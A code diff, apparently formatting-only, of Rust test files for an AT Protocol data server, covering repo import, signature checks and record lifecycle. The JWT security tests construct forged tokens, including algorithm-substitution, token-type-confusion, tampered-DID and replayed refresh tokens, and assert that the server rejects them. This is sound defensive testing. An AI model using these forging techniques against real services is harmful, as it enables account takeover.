223223- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
245245+ .post(format!(
246246+ "{}/xrpc/com.atproto.repo.importRepo",
247247+ base_url().await
248248+ ))
224249 .bearer_auth(&token)
225250 .header("Content-Type", "application/vnd.ipld.car")
226251 .body(invalid_car)
···240265 write_varint(&mut car, header_cbor.len() as u64);
241266 car.extend_from_slice(&header_cbor);
242267 let res = client
243243- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
268268+ .post(format!(
269269+ "{}/xrpc/com.atproto.repo.importRepo",
270270+ base_url().await
271271+ ))
244272 .bearer_auth(&token)
245273 .header("Content-Type", "application/vnd.ipld.car")
246274 .body(car)
···294322 .send()
295323 .await
296324 .expect("Failed to get record before export");
297297- assert_eq!(get_res.status(), StatusCode::OK, "Record {} not found before export", rkey);
325325+ assert_eq!(
326326+ get_res.status(),
327327+ StatusCode::OK,
328328+ "Record {} not found before export",
329329+ rkey
330330+ );
298331 }
299332 let export_res = client
300333 .get(format!(
···308341 assert_eq!(export_res.status(), StatusCode::OK);
309342 let car_bytes = export_res.bytes().await.unwrap();
310343 let import_res = client
311311- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
344344+ .post(format!(
345345+ "{}/xrpc/com.atproto.repo.importRepo",
346346+ base_url().await
347347+ ))
312348 .bearer_auth(&token)
313349 .header("Content-Type", "application/vnd.ipld.car")
314350 .body(car_bytes.to_vec())
···327363 .expect("Failed to list records after import");
328364 assert_eq!(list_res.status(), StatusCode::OK);
329365 let list_body: serde_json::Value = list_res.json().await.unwrap();
330330- let records_after = list_body["records"].as_array().map(|a| a.len()).unwrap_or(0);
366366+ let records_after = list_body["records"]
367367+ .as_array()
368368+ .map(|a| a.len())
369369+ .unwrap_or(0);
331370 assert!(
332371 records_after >= 1,
333372 "Expected at least 1 record after import, found {}. Note: MST walk may have timing issues.",
+66-42
tests/import_with_verification.rs
···11mod common;
22-use common::*;
32use cid::Cid;
33+use common::*;
44use ipld_core::ipld::Ipld;
55use jacquard::types::{integer::LimitedU32, string::Tid};
66-use k256::ecdsa::{signature::Signer, Signature, SigningKey};
66+use k256::ecdsa::{Signature, SigningKey, signature::Signer};
77use reqwest::StatusCode;
88use serde_json::json;
99use sha2::{Digest, Sha256};
···6060 multibase::encode(multibase::Base::Base58Btc, buf)
6161}
62626363-fn create_did_document(did: &str, handle: &str, signing_key: &SigningKey, pds_endpoint: &str) -> serde_json::Value {
6363+fn create_did_document(
6464+ did: &str,
6565+ handle: &str,
6666+ signing_key: &SigningKey,
6767+ pds_endpoint: &str,
6868+) -> serde_json::Value {
6469 let multikey = get_multikey_from_signing_key(signing_key);
6570 json!({
6671 "@context": [
···8388 })
8489}
85908686-fn create_signed_commit(
8787- did: &str,
8888- data_cid: &Cid,
8989- signing_key: &SigningKey,
9090-) -> (Vec<u8>, Cid) {
9191+fn create_signed_commit(did: &str, data_cid: &Cid, signing_key: &SigningKey) -> (Vec<u8>, Cid) {
9192 let rev = Tid::now(LimitedU32::MIN).to_string();
9293 let unsigned = Ipld::Map(BTreeMap::from([
9394 ("data".to_string(), Ipld::Link(*data_cid)),
···124125 ]))
125126 })
126127 .collect();
127127- let node = Ipld::Map(BTreeMap::from([
128128- ("e".to_string(), Ipld::List(ipld_entries)),
129129- ]));
128128+ let node = Ipld::Map(BTreeMap::from([(
129129+ "e".to_string(),
130130+ Ipld::List(ipld_entries),
131131+ )]));
130132 let bytes = serde_ipld_dagcbor::to_vec(&node).unwrap();
131133 let cid = make_cid(&bytes);
132134 (bytes, cid)
···134136135137fn create_record() -> (Vec<u8>, Cid) {
136138 let record = Ipld::Map(BTreeMap::from([
137137- ("$type".to_string(), Ipld::String("app.bsky.feed.post".to_string())),
138138- ("text".to_string(), Ipld::String("Test post for verification".to_string())),
139139- ("createdAt".to_string(), Ipld::String("2024-01-01T00:00:00Z".to_string())),
139139+ (
140140+ "$type".to_string(),
141141+ Ipld::String("app.bsky.feed.post".to_string()),
142142+ ),
143143+ (
144144+ "text".to_string(),
145145+ Ipld::String("Test post for verification".to_string()),
146146+ ),
147147+ (
148148+ "createdAt".to_string(),
149149+ Ipld::String("2024-01-01T00:00:00Z".to_string()),
150150+ ),
140151 ]));
141152 let bytes = serde_ipld_dagcbor::to_vec(&record).unwrap();
142153 let cid = make_cid(&bytes);
143154 (bytes, cid)
144155}
145145-fn build_car_with_signature(
146146- did: &str,
147147- signing_key: &SigningKey,
148148-) -> (Vec<u8>, Cid) {
156156+fn build_car_with_signature(did: &str, signing_key: &SigningKey) -> (Vec<u8>, Cid) {
149157 let (record_bytes, record_cid) = create_record();
150150- let (mst_bytes, mst_cid) = create_mst_node(vec![
151151- ("app.bsky.feed.post/test123".to_string(), record_cid),
152152- ]);
158158+ let (mst_bytes, mst_cid) =
159159+ create_mst_node(vec![("app.bsky.feed.post/test123".to_string(), record_cid)]);
153160 let (commit_bytes, commit_cid) = create_signed_commit(did, &mst_cid, signing_key);
154161 let header = iroh_car::CarHeader::new_v1(vec![commit_cid]);
155162 let header_bytes = header.encode().unwrap();
···194201async fn test_import_with_valid_signature_and_mock_plc() {
195202 let client = client();
196203 let (token, did) = create_account_and_login(&client).await;
197197- let key_bytes = get_user_signing_key(&did).await
204204+ let key_bytes = get_user_signing_key(&did)
205205+ .await
198206 .expect("Failed to get user signing key");
199199- let signing_key = SigningKey::from_slice(&key_bytes)
200200- .expect("Failed to create signing key");
207207+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
201208 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
202209 let pds_endpoint = format!("https://{}", hostname);
203210 let handle = did.split(':').last().unwrap_or("user");
···209216 }
210217 let (car_bytes, _root_cid) = build_car_with_signature(&did, &signing_key);
211218 let import_res = client
212212- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
219219+ .post(format!(
220220+ "{}/xrpc/com.atproto.repo.importRepo",
221221+ base_url().await
222222+ ))
213223 .bearer_auth(&token)
214224 .header("Content-Type", "application/vnd.ipld.car")
215225 .body(car_bytes)
···234244 let client = client();
235245 let (token, did) = create_account_and_login(&client).await;
236246 let wrong_signing_key = SigningKey::random(&mut rand::thread_rng());
237237- let key_bytes = get_user_signing_key(&did).await
247247+ let key_bytes = get_user_signing_key(&did)
248248+ .await
238249 .expect("Failed to get user signing key");
239239- let correct_signing_key = SigningKey::from_slice(&key_bytes)
240240- .expect("Failed to create signing key");
250250+ let correct_signing_key =
251251+ SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
241252 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
242253 let pds_endpoint = format!("https://{}", hostname);
243254 let handle = did.split(':').last().unwrap_or("user");
···249260 }
250261 let (car_bytes, _root_cid) = build_car_with_signature(&did, &wrong_signing_key);
251262 let import_res = client
252252- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
263263+ .post(format!(
264264+ "{}/xrpc/com.atproto.repo.importRepo",
265265+ base_url().await
266266+ ))
253267 .bearer_auth(&token)
254268 .header("Content-Type", "application/vnd.ipld.car")
255269 .body(car_bytes)
···268282 body
269283 );
270284 assert!(
271271- body["error"] == "InvalidSignature" || body["message"].as_str().unwrap_or("").contains("signature"),
285285+ body["error"] == "InvalidSignature"
286286+ || body["message"].as_str().unwrap_or("").contains("signature"),
272287 "Error should mention signature: {:?}",
273288 body
274289 );
···278293async fn test_import_with_did_mismatch_fails() {
279294 let client = client();
280295 let (token, did) = create_account_and_login(&client).await;
281281- let key_bytes = get_user_signing_key(&did).await
296296+ let key_bytes = get_user_signing_key(&did)
297297+ .await
282298 .expect("Failed to get user signing key");
283283- let signing_key = SigningKey::from_slice(&key_bytes)
284284- .expect("Failed to create signing key");
299299+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
285300 let wrong_did = "did:plc:wrongdidthatdoesnotmatch";
286301 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
287302 let pds_endpoint = format!("https://{}", hostname);
···294309 }
295310 let (car_bytes, _root_cid) = build_car_with_signature(wrong_did, &signing_key);
296311 let import_res = client
297297- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
312312+ .post(format!(
313313+ "{}/xrpc/com.atproto.repo.importRepo",
314314+ base_url().await
315315+ ))
298316 .bearer_auth(&token)
299317 .header("Content-Type", "application/vnd.ipld.car")
300318 .body(car_bytes)
···318336async fn test_import_with_plc_resolution_failure() {
319337 let client = client();
320338 let (token, did) = create_account_and_login(&client).await;
321321- let key_bytes = get_user_signing_key(&did).await
339339+ let key_bytes = get_user_signing_key(&did)
340340+ .await
322341 .expect("Failed to get user signing key");
323323- let signing_key = SigningKey::from_slice(&key_bytes)
324324- .expect("Failed to create signing key");
342342+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
325343 let mock_plc = MockServer::start().await;
326344 let did_encoded = urlencoding::encode(&did);
327345 let did_path = format!("/{}", did_encoded);
···336354 }
337355 let (car_bytes, _root_cid) = build_car_with_signature(&did, &signing_key);
338356 let import_res = client
339339- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
357357+ .post(format!(
358358+ "{}/xrpc/com.atproto.repo.importRepo",
359359+ base_url().await
360360+ ))
340361 .bearer_auth(&token)
341362 .header("Content-Type", "application/vnd.ipld.car")
342363 .body(car_bytes)
···360381async fn test_import_with_no_signing_key_in_did_doc() {
361382 let client = client();
362383 let (token, did) = create_account_and_login(&client).await;
363363- let key_bytes = get_user_signing_key(&did).await
384384+ let key_bytes = get_user_signing_key(&did)
385385+ .await
364386 .expect("Failed to get user signing key");
365365- let signing_key = SigningKey::from_slice(&key_bytes)
366366- .expect("Failed to create signing key");
387387+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
367388 let handle = did.split(':').last().unwrap_or("user");
368389 let did_doc_without_key = json!({
369390 "@context": ["https://www.w3.org/ns/did/v1"],
···379400 }
380401 let (car_bytes, _root_cid) = build_car_with_signature(&did, &signing_key);
381402 let import_res = client
382382- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
403403+ .post(format!(
404404+ "{}/xrpc/com.atproto.repo.importRepo",
405405+ base_url().await
406406+ ))
383407 .bearer_auth(&token)
384408 .header("Content-Type", "application/vnd.ipld.car")
385409 .body(car_bytes)
+202-76
tests/jwt_security.rs
···22mod common;
33use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
44use bspds::auth::{
55- self, create_access_token, create_refresh_token, create_service_token,
66- verify_access_token, verify_refresh_token, verify_token, get_did_from_token, get_jti_from_token,
77- TOKEN_TYPE_ACCESS, TOKEN_TYPE_REFRESH, TOKEN_TYPE_SERVICE,
88- SCOPE_ACCESS, SCOPE_REFRESH, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED,
55+ self, SCOPE_ACCESS, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED, SCOPE_REFRESH,
66+ TOKEN_TYPE_ACCESS, TOKEN_TYPE_REFRESH, TOKEN_TYPE_SERVICE, create_access_token,
77+ create_refresh_token, create_service_token, get_did_from_token, get_jti_from_token,
88+ verify_access_token, verify_refresh_token, verify_token,
99};
1010use chrono::{Duration, Utc};
1111use common::{base_url, client, create_account_and_login, get_db_connection_string};
1212use k256::SecretKey;
1313-use k256::ecdsa::{SigningKey, Signature, signature::Signer};
1313+use k256::ecdsa::{Signature, SigningKey, signature::Signer};
1414use rand::rngs::OsRng;
1515use reqwest::StatusCode;
1616-use serde_json::{json, Value};
1616+use serde_json::{Value, json};
1717use sha2::{Digest, Sha256};
18181919fn generate_user_key() -> Vec<u8> {
···4848 let result = verify_access_token(&forged_token, &key_bytes);
4949 assert!(result.is_err(), "Forged signature must be rejected");
5050 let err_msg = result.err().unwrap().to_string();
5151- assert!(err_msg.contains("signature") || err_msg.contains("Signature"), "Error should mention signature: {}", err_msg);
5151+ assert!(
5252+ err_msg.contains("signature") || err_msg.contains("Signature"),
5353+ "Error should mention signature: {}",
5454+ err_msg
5555+ );
5256}
53575458#[test]
···116120 let signature_b64 = URL_SAFE_NO_PAD.encode(&hmac_sig);
117121 let malicious_token = format!("{}.{}", message, signature_b64);
118122 let result = verify_access_token(&malicious_token, &key_bytes);
119119- assert!(result.is_err(), "HS256 algorithm substitution must be rejected");
123123+ assert!(
124124+ result.is_err(),
125125+ "HS256 algorithm substitution must be rejected"
126126+ );
120127}
121128122129#[test]
···141148 let fake_sig = URL_SAFE_NO_PAD.encode(&[1u8; 256]);
142149 let malicious_token = format!("{}.{}.{}", header_b64, claims_b64, fake_sig);
143150 let result = verify_access_token(&malicious_token, &key_bytes);
144144- assert!(result.is_err(), "RS256 algorithm substitution must be rejected");
151151+ assert!(
152152+ result.is_err(),
153153+ "RS256 algorithm substitution must be rejected"
154154+ );
145155}
146156147157#[test]
···166176 let fake_sig = URL_SAFE_NO_PAD.encode(&[1u8; 64]);
167177 let malicious_token = format!("{}.{}.{}", header_b64, claims_b64, fake_sig);
168178 let result = verify_access_token(&malicious_token, &key_bytes);
169169- assert!(result.is_err(), "ES256 (P-256) algorithm substitution must be rejected (we use ES256K/secp256k1)");
179179+ assert!(
180180+ result.is_err(),
181181+ "ES256 (P-256) algorithm substitution must be rejected (we use ES256K/secp256k1)"
182182+ );
170183}
171184172185#[test]
···175188 let did = "did:plc:test";
176189 let refresh_token = create_refresh_token(did, &key_bytes).expect("create refresh token");
177190 let result = verify_access_token(&refresh_token, &key_bytes);
178178- assert!(result.is_err(), "Refresh token must not be accepted as access token");
191191+ assert!(
192192+ result.is_err(),
193193+ "Refresh token must not be accepted as access token"
194194+ );
179195 let err_msg = result.err().unwrap().to_string();
180196 assert!(err_msg.contains("Invalid token type"), "Error: {}", err_msg);
181197}
···186202 let did = "did:plc:test";
187203 let access_token = create_access_token(did, &key_bytes).expect("create access token");
188204 let result = verify_refresh_token(&access_token, &key_bytes);
189189- assert!(result.is_err(), "Access token must not be accepted as refresh token");
205205+ assert!(
206206+ result.is_err(),
207207+ "Access token must not be accepted as refresh token"
208208+ );
190209 let err_msg = result.err().unwrap().to_string();
191210 assert!(err_msg.contains("Invalid token type"), "Error: {}", err_msg);
192211}
···195214fn test_jwt_security_token_type_confusion_service_as_access() {
196215 let key_bytes = generate_user_key();
197216 let did = "did:plc:test";
198198- let service_token = create_service_token(did, "did:web:target", "com.example.method", &key_bytes)
199199- .expect("create service token");
217217+ let service_token =
218218+ create_service_token(did, "did:web:target", "com.example.method", &key_bytes)
219219+ .expect("create service token");
200220 let result = verify_access_token(&service_token, &key_bytes);
201201- assert!(result.is_err(), "Service token must not be accepted as access token");
221221+ assert!(
222222+ result.is_err(),
223223+ "Service token must not be accepted as access token"
224224+ );
202225}
203226204227#[test]
···222245 let result = verify_access_token(&malicious_token, &key_bytes);
223246 assert!(result.is_err(), "Invalid scope must be rejected");
224247 let err_msg = result.err().unwrap().to_string();
225225- assert!(err_msg.contains("Invalid token scope"), "Error: {}", err_msg);
248248+ assert!(
249249+ err_msg.contains("Invalid token scope"),
250250+ "Error: {}",
251251+ err_msg
252252+ );
226253}
227254228255#[test]
···244271 });
245272 let token = create_custom_jwt(&header, &claims, &key_bytes);
246273 let result = verify_access_token(&token, &key_bytes);
247247- assert!(result.is_err(), "Empty scope must be rejected for access tokens");
274274+ assert!(
275275+ result.is_err(),
276276+ "Empty scope must be rejected for access tokens"
277277+ );
248278}
249279250280#[test]
···265295 });
266296 let token = create_custom_jwt(&header, &claims, &key_bytes);
267297 let result = verify_access_token(&token, &key_bytes);
268268- assert!(result.is_err(), "Missing scope must be rejected for access tokens");
298298+ assert!(
299299+ result.is_err(),
300300+ "Missing scope must be rejected for access tokens"
301301+ );
269302}
270303271304#[test]
···311344 });
312345 let token = create_custom_jwt(&header, &claims, &key_bytes);
313346 let result = verify_access_token(&token, &key_bytes);
314314- assert!(result.is_ok(), "Slight future iat should be accepted for clock skew tolerance");
347347+ assert!(
348348+ result.is_ok(),
349349+ "Slight future iat should be accepted for clock skew tolerance"
350350+ );
315351}
316352317353#[test]
···321357 let did = "did:plc:user1";
322358 let token = create_access_token(did, &key_bytes_user1).expect("create token");
323359 let result = verify_access_token(&token, &key_bytes_user2);
324324- assert!(result.is_err(), "Token signed by user1's key must not verify with user2's key");
360360+ assert!(
361361+ result.is_err(),
362362+ "Token signed by user1's key must not verify with user2's key"
363363+ );
325364}
326365327366#[test]
···369408 ];
370409 for token in malformed_tokens {
371410 let result = verify_access_token(token, &key_bytes);
372372- assert!(result.is_err(), "Malformed token '{}' must be rejected",
373373- if token.len() > 40 { &token[..40] } else { token });
411411+ assert!(
412412+ result.is_err(),
413413+ "Malformed token '{}' must be rejected",
414414+ if token.len() > 40 {
415415+ &token[..40]
416416+ } else {
417417+ token
418418+ }
419419+ );
374420 }
375421}
376422···379425 let key_bytes = generate_user_key();
380426 let did = "did:plc:test";
381427 let test_cases = vec![
382382- (json!({
383383- "iss": did,
384384- "sub": did,
385385- "aud": "did:web:test",
386386- "iat": Utc::now().timestamp(),
387387- "scope": SCOPE_ACCESS
388388- }), "exp"),
389389- (json!({
390390- "iss": did,
391391- "sub": did,
392392- "aud": "did:web:test",
393393- "exp": Utc::now().timestamp() + 3600,
394394- "scope": SCOPE_ACCESS
395395- }), "iat"),
396396- (json!({
397397- "iss": did,
398398- "aud": "did:web:test",
399399- "iat": Utc::now().timestamp(),
400400- "exp": Utc::now().timestamp() + 3600,
401401- "scope": SCOPE_ACCESS
402402- }), "sub"),
428428+ (
429429+ json!({
430430+ "iss": did,
431431+ "sub": did,
432432+ "aud": "did:web:test",
433433+ "iat": Utc::now().timestamp(),
434434+ "scope": SCOPE_ACCESS
435435+ }),
436436+ "exp",
437437+ ),
438438+ (
439439+ json!({
440440+ "iss": did,
441441+ "sub": did,
442442+ "aud": "did:web:test",
443443+ "exp": Utc::now().timestamp() + 3600,
444444+ "scope": SCOPE_ACCESS
445445+ }),
446446+ "iat",
447447+ ),
448448+ (
449449+ json!({
450450+ "iss": did,
451451+ "aud": "did:web:test",
452452+ "iat": Utc::now().timestamp(),
453453+ "exp": Utc::now().timestamp() + 3600,
454454+ "scope": SCOPE_ACCESS
455455+ }),
456456+ "sub",
457457+ ),
403458 ];
404459 for (claims, missing_claim) in test_cases {
405460 let header = json!({
···408463 });
409464 let token = create_custom_jwt(&header, &claims, &key_bytes);
410465 let result = verify_access_token(&token, &key_bytes);
411411- assert!(result.is_err(), "Token missing '{}' claim must be rejected", missing_claim);
466466+ assert!(
467467+ result.is_err(),
468468+ "Token missing '{}' claim must be rejected",
469469+ missing_claim
470470+ );
412471 }
413472}
414473···455514 });
456515 let token = create_custom_jwt(&header, &claims, &key_bytes);
457516 let result = verify_access_token(&token, &key_bytes);
458458- assert!(result.is_ok(), "Extra header fields should not cause issues (we ignore them)");
517517+ assert!(
518518+ result.is_ok(),
519519+ "Extra header fields should not cause issues (we ignore them)"
520520+ );
459521}
460522461523#[test]
···499561 let result = verify_access_token(&token, &key_bytes);
500562 if result.is_ok() {
501563 let data = result.unwrap();
502502- assert!(!data.claims.sub.contains('\0'), "Null bytes in claims should be sanitized or rejected");
564564+ assert!(
565565+ !data.claims.sub.contains('\0'),
566566+ "Null bytes in claims should be sanitized or rejected"
567567+ );
503568 }
504569}
505570···517582 let completely_invalid_token = format!("{}.{}.{}", parts[0], parts[1], completely_invalid_sig);
518583 let _result1 = verify_access_token(&almost_valid_token, &key_bytes);
519584 let _result2 = verify_access_token(&completely_invalid_token, &key_bytes);
520520- assert!(true, "Signature verification should use constant-time comparison (timing attack prevention)");
585585+ assert!(
586586+ true,
587587+ "Signature verification should use constant-time comparison (timing attack prevention)"
588588+ );
521589}
522590523591#[test]
524592fn test_jwt_security_valid_scopes_accepted() {
525593 let key_bytes = generate_user_key();
526594 let did = "did:plc:test";
527527- let valid_scopes = vec![
528528- SCOPE_ACCESS,
529529- SCOPE_APP_PASS,
530530- SCOPE_APP_PASS_PRIVILEGED,
531531- ];
595595+ let valid_scopes = vec![SCOPE_ACCESS, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED];
532596 for scope in valid_scopes {
533597 let header = json!({
534598 "alg": "ES256K",
···568632 });
569633 let token = create_custom_jwt(&header, &claims, &key_bytes);
570634 let result = verify_access_token(&token, &key_bytes);
571571- assert!(result.is_err(), "Refresh scope with access token type must be rejected");
635635+ assert!(
636636+ result.is_err(),
637637+ "Refresh scope with access token type must be rejected"
638638+ );
572639}
573640574641#[test]
···586653 let fake_sig = URL_SAFE_NO_PAD.encode(&[0u8; 64]);
587654 let unverified_token = format!("{}.{}.{}", header_b64, claims_b64, fake_sig);
588655 let extracted_unsafe = get_did_from_token(&unverified_token).expect("extract unsafe");
589589- assert_eq!(extracted_unsafe, "did:plc:sub", "get_did_from_token extracts sub without verification (by design for lookup)");
656656+ assert_eq!(
657657+ extracted_unsafe, "did:plc:sub",
658658+ "get_did_from_token extracts sub without verification (by design for lookup)"
659659+ );
590660}
591661592662#[test]
···602672 let claims_b64 = URL_SAFE_NO_PAD.encode(r#"{"iss":"did:plc:test"}"#);
603673 let fake_sig = URL_SAFE_NO_PAD.encode(&[0u8; 64]);
604674 let no_jti_token = format!("{}.{}.{}", header_b64, claims_b64, fake_sig);
605605- assert!(get_jti_from_token(&no_jti_token).is_err(), "Missing jti should error");
675675+ assert!(
676676+ get_jti_from_token(&no_jti_token).is_err(),
677677+ "Missing jti should error"
678678+ );
606679}
607680608681#[test]
609682fn test_jwt_security_key_from_invalid_bytes_rejected() {
610610- let invalid_keys: Vec<&[u8]> = vec![
611611- &[],
612612- &[0u8; 31],
613613- &[0u8; 33],
614614- &[0xFFu8; 32],
615615- ];
683683+ let invalid_keys: Vec<&[u8]> = vec![&[], &[0u8; 31], &[0u8; 33], &[0xFFu8; 32]];
616684 for key in invalid_keys {
617685 let result = create_access_token("did:plc:test", key);
618686 if result.is_ok() {
···644712 "scope": SCOPE_ACCESS
645713 });
646714 let token1 = create_custom_jwt(&header, &just_expired, &key_bytes);
647647- assert!(verify_access_token(&token1, &key_bytes).is_err(), "Just expired token must be rejected");
715715+ assert!(
716716+ verify_access_token(&token1, &key_bytes).is_err(),
717717+ "Just expired token must be rejected"
718718+ );
648719 let expires_exactly_now = json!({
649720 "iss": did,
650721 "sub": did,
···656727 });
657728 let token2 = create_custom_jwt(&header, &expires_exactly_now, &key_bytes);
658729 let result2 = verify_access_token(&token2, &key_bytes);
659659- assert!(result2.is_err() || result2.is_ok(), "Token expiring exactly now is a boundary case - either behavior is acceptable");
730730+ assert!(
731731+ result2.is_err() || result2.is_ok(),
732732+ "Token expiring exactly now is a boundary case - either behavior is acceptable"
733733+ );
660734}
661735662736#[test]
···714788 .send()
715789 .await
716790 .unwrap();
717717- assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Forged session token must be rejected");
791791+ assert_eq!(
792792+ res.status(),
793793+ StatusCode::UNAUTHORIZED,
794794+ "Forged session token must be rejected"
795795+ );
718796}
719797720798#[tokio::test]
···734812 .send()
735813 .await
736814 .unwrap();
737737- assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Tampered/expired token must be rejected");
815815+ assert_eq!(
816816+ res.status(),
817817+ StatusCode::UNAUTHORIZED,
818818+ "Tampered/expired token must be rejected"
819819+ );
738820}
739821740822#[tokio::test]
···755837 .send()
756838 .await
757839 .unwrap();
758758- assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "DID-tampered token must be rejected");
840840+ assert_eq!(
841841+ res.status(),
842842+ StatusCode::UNAUTHORIZED,
843843+ "DID-tampered token must be rejected"
844844+ );
759845}
760846761847#[tokio::test]
···811897 .send()
812898 .await
813899 .unwrap();
814814- assert_eq!(first_refresh.status(), StatusCode::OK, "First refresh should succeed");
900900+ assert_eq!(
901901+ first_refresh.status(),
902902+ StatusCode::OK,
903903+ "First refresh should succeed"
904904+ );
815905 let replay_res = http_client
816906 .post(format!("{}/xrpc/com.atproto.server.refreshSession", url))
817907 .header("Authorization", format!("Bearer {}", refresh_jwt))
818908 .send()
819909 .await
820910 .unwrap();
821821- assert_eq!(replay_res.status(), StatusCode::UNAUTHORIZED, "Refresh token replay must be rejected");
911911+ assert_eq!(
912912+ replay_res.status(),
913913+ StatusCode::UNAUTHORIZED,
914914+ "Refresh token replay must be rejected"
915915+ );
822916}
823917824918#[tokio::test]
···832926 .send()
833927 .await
834928 .unwrap();
835835- assert_eq!(valid_res.status(), StatusCode::OK, "Valid Bearer format should work");
929929+ assert_eq!(
930930+ valid_res.status(),
931931+ StatusCode::OK,
932932+ "Valid Bearer format should work"
933933+ );
836934 let lowercase_res = http_client
837935 .get(format!("{}/xrpc/com.atproto.server.getSession", url))
838936 .header("Authorization", format!("bearer {}", access_jwt))
839937 .send()
840938 .await
841939 .unwrap();
842842- assert_eq!(lowercase_res.status(), StatusCode::OK, "Lowercase 'bearer' should be accepted (RFC 7235 case-insensitivity)");
940940+ assert_eq!(
941941+ lowercase_res.status(),
942942+ StatusCode::OK,
943943+ "Lowercase 'bearer' should be accepted (RFC 7235 case-insensitivity)"
944944+ );
843945 let basic_res = http_client
844946 .get(format!("{}/xrpc/com.atproto.server.getSession", url))
845947 .header("Authorization", format!("Basic {}", access_jwt))
846948 .send()
847949 .await
848950 .unwrap();
849849- assert_eq!(basic_res.status(), StatusCode::UNAUTHORIZED, "Basic scheme must be rejected");
951951+ assert_eq!(
952952+ basic_res.status(),
953953+ StatusCode::UNAUTHORIZED,
954954+ "Basic scheme must be rejected"
955955+ );
850956 let no_scheme_res = http_client
851957 .get(format!("{}/xrpc/com.atproto.server.getSession", url))
852958 .header("Authorization", &access_jwt)
853959 .send()
854960 .await
855961 .unwrap();
856856- assert_eq!(no_scheme_res.status(), StatusCode::UNAUTHORIZED, "Missing scheme must be rejected");
962962+ assert_eq!(
963963+ no_scheme_res.status(),
964964+ StatusCode::UNAUTHORIZED,
965965+ "Missing scheme must be rejected"
966966+ );
857967 let empty_token_res = http_client
858968 .get(format!("{}/xrpc/com.atproto.server.getSession", url))
859969 .header("Authorization", "Bearer ")
860970 .send()
861971 .await
862972 .unwrap();
863863- assert_eq!(empty_token_res.status(), StatusCode::UNAUTHORIZED, "Empty token must be rejected");
973973+ assert_eq!(
974974+ empty_token_res.status(),
975975+ StatusCode::UNAUTHORIZED,
976976+ "Empty token must be rejected"
977977+ );
864978}
865979866980#[tokio::test]
···874988 .send()
875989 .await
876990 .unwrap();
877877- assert_eq!(get_res.status(), StatusCode::OK, "Token should work before logout");
991991+ assert_eq!(
992992+ get_res.status(),
993993+ StatusCode::OK,
994994+ "Token should work before logout"
995995+ );
878996 let logout_res = http_client
879997 .post(format!("{}/xrpc/com.atproto.server.deleteSession", url))
880998 .header("Authorization", format!("Bearer {}", access_jwt))
···8881006 .send()
8891007 .await
8901008 .unwrap();
891891- assert_eq!(after_logout_res.status(), StatusCode::UNAUTHORIZED, "Token must be rejected after logout");
10091009+ assert_eq!(
10101010+ after_logout_res.status(),
10111011+ StatusCode::UNAUTHORIZED,
10121012+ "Token must be rejected after logout"
10131013+ );
8921014}
89310158941016#[tokio::test]
···9101032 .send()
9111033 .await
9121034 .unwrap();
913913- assert_eq!(get_res.status(), StatusCode::UNAUTHORIZED, "Deactivated account token must be rejected");
10351035+ assert_eq!(
10361036+ get_res.status(),
10371037+ StatusCode::UNAUTHORIZED,
10381038+ "Deactivated account token must be rejected"
10391039+ );
9141040 let body: Value = get_res.json().await.unwrap();
9151041 assert_eq!(body["error"], "AccountDeactivated");
9161042}
+129-37
tests/lifecycle_record.rs
···11mod common;
22mod helpers;
33+use chrono::Utc;
34use common::*;
45use helpers::*;
55-use chrono::Utc;
66use reqwest::{StatusCode, header};
77use serde_json::{Value, json};
88use std::time::Duration;
···307307 .send()
308308 .await
309309 .expect("Failed to create profile");
310310- assert_eq!(create_res.status(), StatusCode::OK, "Failed to create profile");
310310+ assert_eq!(
311311+ create_res.status(),
312312+ StatusCode::OK,
313313+ "Failed to create profile"
314314+ );
311315 let create_body: Value = create_res.json().await.unwrap();
312316 let initial_cid = create_body["cid"].as_str().unwrap().to_string();
313317 let get_res = client
···326330 assert_eq!(get_res.status(), StatusCode::OK);
327331 let get_body: Value = get_res.json().await.unwrap();
328332 assert_eq!(get_body["value"]["displayName"], "Test User");
329329- assert_eq!(get_body["value"]["description"], "A test profile for lifecycle testing");
333333+ assert_eq!(
334334+ get_body["value"]["description"],
335335+ "A test profile for lifecycle testing"
336336+ );
330337 let update_payload = json!({
331338 "repo": did,
332339 "collection": "app.bsky.actor.profile",
···348355 .send()
349356 .await
350357 .expect("Failed to update profile");
351351- assert_eq!(update_res.status(), StatusCode::OK, "Failed to update profile");
358358+ assert_eq!(
359359+ update_res.status(),
360360+ StatusCode::OK,
361361+ "Failed to update profile"
362362+ );
352363 let get_updated_res = client
353364 .get(format!(
354365 "{}/xrpc/com.atproto.repo.getRecord",
···371382 let client = client();
372383 let (alice_did, alice_jwt) = setup_new_user("alice-thread").await;
373384 let (bob_did, bob_jwt) = setup_new_user("bob-thread").await;
374374- let (root_uri, root_cid) = create_post(&client, &alice_did, &alice_jwt, "This is the root post").await;
385385+ let (root_uri, root_cid) =
386386+ create_post(&client, &alice_did, &alice_jwt, "This is the root post").await;
375387 tokio::time::sleep(Duration::from_millis(100)).await;
376388 let reply_collection = "app.bsky.feed.post";
377389 let reply_rkey = format!("e2e_reply_{}", Utc::now().timestamp_millis());
···459471 .send()
460472 .await
461473 .expect("Failed to create nested reply");
